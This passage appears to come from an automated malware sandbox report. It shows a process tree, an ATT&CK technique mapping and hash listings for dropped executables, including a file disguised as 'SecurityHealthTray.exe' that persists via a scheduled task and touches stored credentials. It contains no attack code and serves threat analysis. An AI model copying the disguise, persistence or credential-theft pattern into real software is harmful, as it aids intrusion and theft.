  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3708 /prefetch:1
  2⤵
  PID:4176
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4372 /prefetch:1
  2⤵
  PID:4376
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1404 /prefetch:8
  2⤵
  PID:4428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4816 /prefetch:8
  2⤵
  PID:4708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4944 /prefetch:8
  2⤵
  PID:4720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5128 /prefetch:8
  2⤵
  PID:4784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5128 /prefetch:8
  2⤵
  PID:4852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4896 /prefetch:8
  2⤵
  PID:4980
- C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
  "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
  2⤵
  PID:5016
- - C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
    "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff644d87740,0x7ff644d87750,0x7ff644d87760
    3⤵
    PID:5048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5024 /prefetch:8
  2⤵
  PID:5036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5000 /prefetch:8
  2⤵
  PID:5092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5192 /prefetch:8
  2⤵
  PID:4508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5952 /prefetch:8
  2⤵
  PID:2816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4964 /prefetch:8
  2⤵
  PID:508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6468 /prefetch:8
  2⤵
  PID:4908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6056 /prefetch:8
  2⤵
  PID:4504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6212 /prefetch:8
  2⤵
  PID:1620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4528 /prefetch:8
  2⤵
  PID:4820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3492 /prefetch:8
  2⤵
  PID:4928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3604 /prefetch:8
  2⤵
  PID:4528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4704 /prefetch:8
  2⤵
  PID:5068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4736 /prefetch:8
  2⤵
  PID:5020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4624 /prefetch:8
  2⤵
  PID:5048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6592 /prefetch:8
  2⤵
  PID:3824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6740 /prefetch:8
  2⤵
  PID:3808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5756 /prefetch:8
  2⤵
  PID:4712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6852 /prefetch:8
  2⤵
  PID:1204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6996 /prefetch:8
  2⤵
  PID:3728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7092 /prefetch:8
  2⤵
  PID:992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7248 /prefetch:8
  2⤵
  PID:4872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7104 /prefetch:1
  2⤵
  PID:1148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7280 /prefetch:8
  2⤵
  PID:4988
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5808 /prefetch:8
  2⤵
  PID:5084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7684 /prefetch:8
  2⤵
  PID:2700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7812 /prefetch:8
  2⤵
  PID:4684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7808 /prefetch:8
  2⤵
  PID:4116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8080 /prefetch:8
  2⤵
  PID:4748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8220 /prefetch:8
  2⤵
  PID:3860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8584 /prefetch:8
  2⤵
  PID:4220
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8196 /prefetch:1
  2⤵
  PID:4788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8740 /prefetch:8
  2⤵
  PID:3048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8900 /prefetch:8
  2⤵
  PID:4428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8892 /prefetch:8
  2⤵
  PID:2832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8736 /prefetch:1
  2⤵
  PID:4836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9304 /prefetch:8
  2⤵
  PID:4812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9288 /prefetch:8
  2⤵
  PID:5176
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6268 /prefetch:8
  2⤵
  PID:5212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6324 /prefetch:8
  2⤵
  PID:5272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4988 /prefetch:8
  2⤵
  PID:5392

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
1⤵
- Executes dropped EXE
PID:200

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
1⤵
PID:5424

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
03ba1b4c32508547202973eb0fce1b18

SHA1
02e99a6dc27ec2a69eae7df3d31d13ffa6f650e6

SHA256
2340478723b8b42eb96267e03d2cb186bca7adc745ac51605d9d625bc4318162

SHA512
783aa5a9a362ac592dd23d3dcf54c3f0931ab91f3d1087073cb9e351b14065e560d1d384866a48b396130e3e861310326f3b0ecccb8e9f8f2cc73d50a7e8bf3a

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
d9ab9282a3c03c4088ecda7837076f60

SHA1
f02af52caa560156752f580f8ad242c07558a0c9

SHA256
a9a6524d1763fa3aa1e3581aabc3a760eb982daad4f70332e5da534f18851d91

SHA512
5e34388c21b2deeb91f360285980028637c63a74f91555221056729c3b37e744b5740248e35b50733843895a198c5ea1e9f8473883079d481b9eb07ca312c120

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
c488a004535d26a31463dd9efeaebca3

SHA1
147a55e8d9ac48704d8b89cf113352315956a379

SHA256
73838c76b5ec0b05ecbb70094334d91a8ed692537a2f99116ad3f9fd9e651178

SHA512
6ebd335ff9c89ebd5403e15cfbc5f459081dcdc0a5e45d1e7800952d0ed4e40e0f7b27622b4ee8ce3a1176c0552febc25e32717e14d9b76fa3c4650e9691ea58

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
a89dc0650b3bc7b3f77f31c87133a166

SHA1
0e659b1c227aa47d07b0788687f15f0b256adb24

SHA256
c071bc886e5bb1bdfee09a6d2675958c2fe61bf48dedf1e303fac46ac64d8738

SHA512
373ae7606d439be6c88b6979f0b2af327e4d0e098ec52a0c945ac2cdcaac36be094500ad493e4f1725dc758df3dd2ef086d70295845d5ef041beb7f5b2cd6703

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
1ba12ab2a212dd4f0551e0ffd9f6b42a

SHA1
4813152a9f4a8e3ac0976137ea148e38a612eb17

SHA256
56fc1ef9e45ea6e866dce5c6f5c840fabdd2a149042eac3af0e4e260c1a4e16b

SHA512
ee7824a1a6120f6c69f53f91242fedbef3eb831a1ec570af00bfe61546abec9e632e988efd2cf9f8c48fe2bcb22742d2f37a38c8a0167710c90ccba89c4de2de

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
aef9de1739185631f08f87dcae21ce53

SHA1
45cb3b4e145b4b9a9087cb7250cb6396ee16a76a

SHA256
4e74daaca9d540258c68f1c3a22933eb0eadc832be2ca2d317522f389bfea1fd

SHA512
52246daaf3e2480dd33f66135fd6d739fd426829fed85aa3f57cb6f5b826c0ec72edd763f67545061c831a188789d531b8fe797df2be38ff9a20ac38c77f6e58

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
d651c3a96484d3d8fc2780357f44867b

SHA1
f95641d135e5dc87b1d251cf20cf7b1d7294f0d5

SHA256
d7093e1ca325c158b3e41fb79b8961065f029665638080f63659d29663fa370b

SHA512
e24f3b2ea068a7e619004690d98de4084fb8583de3b3776737d983789eaa73a53146be912ca0452f73ecac5a6b5479dff3d942089468f3d8a39048f99e56c4fd

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
cc4f82edd42cdf7ef85ac9c20716908e

SHA1
cd07fa69237508cb501be027a62026fcd51d583e

SHA256
ac9cde385f76fe5d6078dd834e7637a7c0c4352bad51b14eafc35b6b93cc8d6a

SHA512
e3ad6ecf0cb50097dae9d5e0ac905ff4f6fa716194ed7a6e4816d781712177d94823de0ef12cc3de1aa24e859555d68e41f2370da250ec4a8deb5038a2d3ab6b

Download Submit
C:\ProgramData\SecurityEssentials\task.xml

MD5
3b82cd2d9b9fde01c8029eb7814c5ca4

SHA1
787ef5aac0f2dcf0ba7d3cbb3d3ea476a36a8252

SHA256
4ec6480314c497f9a8ba0166599bd92c1e02fa4f44f97dba356349532d7c20ef

SHA512
81bd94608da142ef20b1d148785a4d1567dbca7d3590afbbd0b4e905d4100ffcd14b52a2e24b25cab7f869b60fbba4b80423c756b46bc23fc37070f7869e1a8f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

MD5
ba2077f8bcbcb1a3856aedb6f9812897

SHA1
21db2bfdf4ceb53ec77edf5ec800e2aab546e0fa

SHA256
0e5eaba8bbad9fdebf5223e8f807677e7a2f4193906320a80783739f0cb69f32

SHA512
ca152e61ed7e767fa0a31787f6b7032f70fe635c5be3413274215c195f5fc03e56b8b6e7d07861b2f509ff5d6c2d7841dc1da09b6b44b0c51b4e2ac9a8322280

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

MD5
ba2077f8bcbcb1a3856aedb6f9812897

SHA1
21db2bfdf4ceb53ec77edf5ec800e2aab546e0fa

SHA256
0e5eaba8bbad9fdebf5223e8f807677e7a2f4193906320a80783739f0cb69f32

SHA512
ca152e61ed7e767fa0a31787f6b7032f70fe635c5be3413274215c195f5fc03e56b8b6e7d07861b2f509ff5d6c2d7841dc1da09b6b44b0c51b4e2ac9a8322280

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

MD5
ba2077f8bcbcb1a3856aedb6f9812897

SHA1
21db2bfdf4ceb53ec77edf5ec800e2aab546e0fa

SHA256
0e5eaba8bbad9fdebf5223e8f807677e7a2f4193906320a80783739f0cb69f32

SHA512
ca152e61ed7e767fa0a31787f6b7032f70fe635c5be3413274215c195f5fc03e56b8b6e7d07861b2f509ff5d6c2d7841dc1da09b6b44b0c51b4e2ac9a8322280

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

MD5
ba2077f8bcbcb1a3856aedb6f9812897

SHA1
21db2bfdf4ceb53ec77edf5ec800e2aab546e0fa

SHA256
0e5eaba8bbad9fdebf5223e8f807677e7a2f4193906320a80783739f0cb69f32

SHA512
ca152e61ed7e767fa0a31787f6b7032f70fe635c5be3413274215c195f5fc03e56b8b6e7d07861b2f509ff5d6c2d7841dc1da09b6b44b0c51b4e2ac9a8322280

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5
e24e730e0a376d2c7dd6d33070d8498e

SHA1
727365e3ae57c41531b3305e6b6eb5b678e7c143

SHA256
a9249da79d97245bf92fb23cececbb3b44cc2c7a015f17f93118f2e22d90db5b

SHA512
5b865b6d592a5a822edc79b2cea02a9780f0d38907ae072adf645349c8952b1b0902e027066d72ad6877e5f64441cb9952be8364d48034ed28c25287b4bb6540

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5
e24e730e0a376d2c7dd6d33070d8498e

SHA1
727365e3ae57c41531b3305e6b6eb5b678e7c143

SHA256
a9249da79d97245bf92fb23cececbb3b44cc2c7a015f17f93118f2e22d90db5b

SHA512
5b865b6d592a5a822edc79b2cea02a9780f0d38907ae072adf645349c8952b1b0902e027066d72ad6877e5f64441cb9952be8364d48034ed28c25287b4bb6540

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5
eef0be259c772c14bcb5d5aaf44d0deb

SHA1
b263ef02473fbe912d0df36ffbab5adb8f065bf2

SHA256
37134ef97efc572a8cc8195453a78081b90355628823ea35dcca2b024e032b3c

SHA512
57e1db8a6a52621a9d68774cf754053e1d9315c28ada067d5c76372122c35317f52cc67769998e3ccf81f41c937b2d3df1be63a861a198fb4f9bb3bd2d95bc93

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.exe

MD5
ce8e8a32796ae98b7d11a2cfe5fd5b2b

SHA1
e6a823bb87767e165c8ef56a11bcd6f9c170de38

SHA256
b6f88899475f8027a5e8ead9bcc47e6e37f9edd3aa8fee0dc9707674e9dfc836

SHA512
37d2fa95e74cc396a74808964063075273c20883b116e2366498ecc30d36505ffd449abae524105ba6644863df862a230f98e380e4bde83a1a63161d522f3dd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.exe

MD5
ce8e8a32796ae98b7d11a2cfe5fd5b2b

SHA1
e6a823bb87767e165c8ef56a11bcd6f9c170de38

SHA256
b6f88899475f8027a5e8ead9bcc47e6e37f9edd3aa8fee0dc9707674e9dfc836

SHA512
37d2fa95e74cc396a74808964063075273c20883b116e2366498ecc30d36505ffd449abae524105ba6644863df862a230f98e380e4bde83a1a63161d522f3dd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\File.exe

MD5
d287d60aaf019246a1a8c5db68b8f41a

SHA1
a25656c1abc938eaa3464ff45c305e89417b2c25

SHA256
f66d9c77d511503d6d7621198c1054650339a3e4ee49601d87e073e26905676b

SHA512
d344c80c19ac34e5158292ddb172fc18c861c63c5f4fb3ec842a90134425b98290b718a656c76369d9e931cbecf5718f8ca9c1b751b93592ce15feb99dc331a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\File.exe

MD5
d287d60aaf019246a1a8c5db68b8f41a

SHA1
a25656c1abc938eaa3464ff45c305e89417b2c25

SHA256
f66d9c77d511503d6d7621198c1054650339a3e4ee49601d87e073e26905676b

SHA512
d344c80c19ac34e5158292ddb172fc18c861c63c5f4fb3ec842a90134425b98290b718a656c76369d9e931cbecf5718f8ca9c1b751b93592ce15feb99dc331a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\lxxxxxx.exe

MD5
348865c449962bf4154b89d43640f4bb

SHA1
2079978d1f4a92402f5359c98b822f6587da9fce

SHA256
dbea34702c32688f055d9c56d3267a4d4da98adea992a7df123a2b3e8487018a

SHA512
bc72768c88759463cdd718c4f8bdb2f16cf8ef16bd0b6d4ee22ce16a3706a74dca583c3d95e6a5af7d4107ee456e25cbb601f70372ba15db4fba266251080778

Download Submit
C:\Users\Admin\AppData\Local\Temp\lxxxxxx.exe

MD5
348865c449962bf4154b89d43640f4bb

SHA1
2079978d1f4a92402f5359c98b822f6587da9fce

SHA256
dbea34702c32688f055d9c56d3267a4d4da98adea992a7df123a2b3e8487018a

SHA512
bc72768c88759463cdd718c4f8bdb2f16cf8ef16bd0b6d4ee22ce16a3706a74dca583c3d95e6a5af7d4107ee456e25cbb601f70372ba15db4fba266251080778

Download Submit
C:\Users\Admin\AppData\Roaming\1337\1.exe

MD5
ce8e8a32796ae98b7d11a2cfe5fd5b2b

SHA1
e6a823bb87767e165c8ef56a11bcd6f9c170de38

SHA256
b6f88899475f8027a5e8ead9bcc47e6e37f9edd3aa8fee0dc9707674e9dfc836

SHA512
37d2fa95e74cc396a74808964063075273c20883b116e2366498ecc30d36505ffd449abae524105ba6644863df862a230f98e380e4bde83a1a63161d522f3dd2

Download Submit
C:\Users\Admin\AppData\Roaming\1337\1.exe

MD5
ce8e8a32796ae98b7d11a2cfe5fd5b2b

SHA1
e6a823bb87767e165c8ef56a11bcd6f9c170de38

SHA256
b6f88899475f8027a5e8ead9bcc47e6e37f9edd3aa8fee0dc9707674e9dfc836

SHA512
37d2fa95e74cc396a74808964063075273c20883b116e2366498ecc30d36505ffd449abae524105ba6644863df862a230f98e380e4bde83a1a63161d522f3dd2

Download Submit
C:\Users\Admin\AppData\Roaming\1337\@asasinalex.exe

MD5
4447f458a0cf3bedb38f5cf9897c998c

SHA1
b3975f5bf7273821190e038ef9a11a54c02b5760

SHA256
24b93292dc2cb37fa8b990a0e548fbfe5d2ea88fc3b0228808915f14c5e85e86

SHA512
